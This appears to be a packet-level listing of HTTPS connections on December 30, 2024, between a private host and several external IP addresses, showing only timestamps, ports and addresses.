Dec 30, 2024 16:17:45.292073965 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292090893 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292134047 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292151928 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292176008 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292181015 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292203903 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292253017 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292253017 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292259932 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292315006 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292347908 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292380095 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292387009 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292434931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292481899 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292516947 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292537928 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292556047 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292567015 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292594910 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292601109 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292646885 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292651892 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292666912 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292749882 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292799950 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292804003 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292810917 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292860985 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292891026 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292929888 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292936087 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.292943001 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292967081 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.292968035 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293006897 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293025970 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293030977 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293066025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293066025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293090105 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293134928 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293143988 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293169022 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293200970 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293206930 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293220043 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293294907 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293344021 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293385029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293402910 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293407917 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293416023 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293443918 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293450117 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293462038 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293481112 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293490887 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293495893 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293504953 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293510914 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293510914 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293579102 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293586016 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293617964 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293641090 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293647051 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293656111 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293709993 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293709993 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293719053 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.293745041 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293761969 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.293981075 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.294048071 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.316590071 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.316649914 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.316660881 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.316700935 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378014088 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378087997 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378087997 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378104925 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378134966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378156900 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378156900 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378168106 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378204107 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378209114 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378242970 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378246069 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378258944 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378350019 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378354073 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378386974 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378402948 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378408909 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378436089 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378551006 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378590107 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378613949 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378622055 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378632069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378639936 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378665924 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378670931 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378679991 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378706932 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378711939 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378720999 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378773928 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378784895 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378784895 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378792048 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378820896 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378825903 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378880978 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378886938 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378907919 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378921986 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378927946 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.378962994 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.378978014 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379034042 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379034042 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379045963 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379121065 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379205942 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379239082 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379267931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379275084 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379285097 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379288912 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379328012 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379343033 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379350901 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379400969 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379401922 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379457951 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379463911 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379518986 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379550934 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379601002 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379601002 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379607916 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379669905 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379703999 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379717112 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379723072 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379735947 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379772902 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379782915 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.379789114 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:45.379847050 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.380033016 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:45.386321068 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:18:15.486550093 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:15.486579895 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:15.486670017 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:15.487938881 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:15.487956047 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:15.956072092 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:15.956141949 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:15.958071947 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:15.958086014 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:15.958301067 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.003956079 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.016097069 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.016139030 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.016218901 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.441180944 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.441344976 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.441625118 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.443161011 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.443161011 CET	57959	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.443183899 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.443207026 CET	443	57959	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.451011896 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.451052904 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.451385975 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.451385975 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.451415062 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.912645102 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.912991047 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.914410114 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.914423943 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.914885998 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:16.916048050 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.916048050 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:16.916120052 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.352844954 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.352875948 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.352900982 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.352945089 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.352971077 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.352981091 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.353028059 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.353043079 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.353106976 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.353113890 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.353410006 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.353547096 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.353554964 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.357645988 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.357675076 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.357795954 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.357805014 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.358078957 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.440251112 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.440311909 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.440335035 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.440360069 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.440376043 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.440416098 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.440419912 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.440463066 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.441318989 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.441334963 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.441359043 CET	57960	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.441365004 CET	443	57960	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.547043085 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.547079086 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:17.547139883 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.547491074 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:17.547507048 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.019815922 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.019890070 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.024332047 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.024342060 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.024540901 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.025901079 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.026660919 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.026689053 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.569976091 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.570034027 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.570106030 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.570836067 CET	57961	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.570851088 CET	443	57961	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.587847948 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.587905884 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:18.587989092 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.588247061 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:18.588263035 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.042167902 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.042248964 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.043423891 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.043436050 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.043638945 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.044754982 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.044872046 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.044904947 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.044970036 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.091334105 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.545938969 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.546013117 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.546082020 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.546282053 CET	57962	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.546305895 CET	443	57962	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.630712032 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.630747080 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:19.630822897 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.631139040 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:19.631149054 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.087574959 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.087656021 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.088865995 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.088874102 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.089073896 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.090181112 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.090325117 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.090356112 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.090416908 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.090424061 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.702511072 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.702594042 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.702651024 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.702821970 CET	57963	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.702833891 CET	443	57963	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.834640980 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.834673882 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:20.834743977 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.835184097 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:20.835200071 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:21.296406031 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:21.296483994 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:21.297746897 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:21.297753096 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:21.297985077 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:21.299268007 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:21.299360991 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:21.299365044 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:21.742202044 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:21.742286921 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:21.742347002 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:21.742532015 CET	57964	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:21.742547035 CET	443	57964	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.006834984 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.006886959 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.006958008 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.007484913 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.007502079 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.493045092 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.493134975 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.494777918 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.494790077 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.495008945 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.496263981 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.497169018 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.497204065 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.501451015 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.501481056 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.504456043 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.504492998 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.507498980 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.507544994 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.507723093 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.507755995 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.507913113 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.507946014 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.507956028 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.507972002 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.508131027 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.508157969 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.508181095 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.508193970 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.508374929 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.508404970 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.508426905 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.508455038 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.511641026 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.511780977 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.511825085 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.511831999 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.511845112 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:22.511863947 CET	57965	443	192.168.2.5	104.21.48.1
Dec 30, 2024 16:18:22.516591072 CET	443	57965	104.21.48.1	192.168.2.5
Dec 30, 2024 16:18:23.629450083 CET	57966	443	192.168.2.5	104.21.64.143
Dec 30, 2024 16:18:23.629487038 CET	443	57966	104.21.64.143	192.168.2.5
Dec 30, 2024 16:18:23.629575014 CET	57966	443	192.168.2.5	104.21.64.143
